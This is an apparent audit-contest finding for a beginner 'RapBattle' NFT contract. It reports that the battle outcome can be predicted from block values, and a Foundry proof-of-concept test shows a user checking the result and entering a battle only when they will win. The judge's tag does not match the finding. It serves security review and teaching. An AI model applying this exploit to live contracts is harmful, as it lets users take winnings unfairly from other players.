Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

User can reject the transaction if he know he will lose the battle

Summary

In the 'RapBattle' function, when an user fights in a battle with another one, he will able to see if he will win the battle or not, if not he may reject the transaction.

PoC

Run this Foundry test:

function test__battle_UserCanRejectTxIfHeDoesNotWin()public {
vm.startPrank(owner); //owner set the streets contract in the credToken and oneShotContract
credToken.setStreetsContract(address(streetsContract));
oneShotContract.setStreetsContract(address(streetsContract));
vm.stopPrank();
address randomUser = address(236112);
vm.startPrank(randomUser);
oneShotContract.mintRapper();
oneShotContract.approve(address(streetsContract), 0);
streetsContract.stake(0);
vm.warp(block.timestamp + 88600);
streetsContract.unstake(0);
credToken.approve(address(rapBattleContract), 1);
oneShotContract.approve(address(rapBattleContract), 0);
rapBattleContract.goOnStageOrBattle(0, 1);
vm.stopPrank();
address randomUser2 = address(23611221);
vm.startPrank(randomUser2);
oneShotContract.mintRapper();
oneShotContract.approve(address(streetsContract), 1);
streetsContract.stake(1);
vm.warp(block.timestamp + 88600);
streetsContract.unstake(1);
credToken.approve(address(rapBattleContract), 1);
oneShotContract.approve(address(rapBattleContract), 1);
uint256 tokenId = 1;
uint256 defenderRapperSkill = rapBattleContract.getRapperSkill(rapBattleContract.defenderTokenId());
uint256 challengerRapperSkill = rapBattleContract.getRapperSkill(tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
if(random <= defenderRapperSkill){
console.log("Oh well i will lose so i won't complete this transaction");
}else{
rapBattleContract.goOnStageOrBattle(1, 1);
}
vm.stopPrank();
}

Impact

If user can see if they will win or not the battle, this is a huge problem, this means that people can continuously call the function and sign it only when they will win, doing so they will earn a bunch of tokens "for free".

Tools Used

Manual Review, Foundry

Recommendations

The logic of this function need to be regarded, the main problem is that the random value is given also by utilizing a variable in the function 'totalBattleSkill' that is fully accessible also to external contracts.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.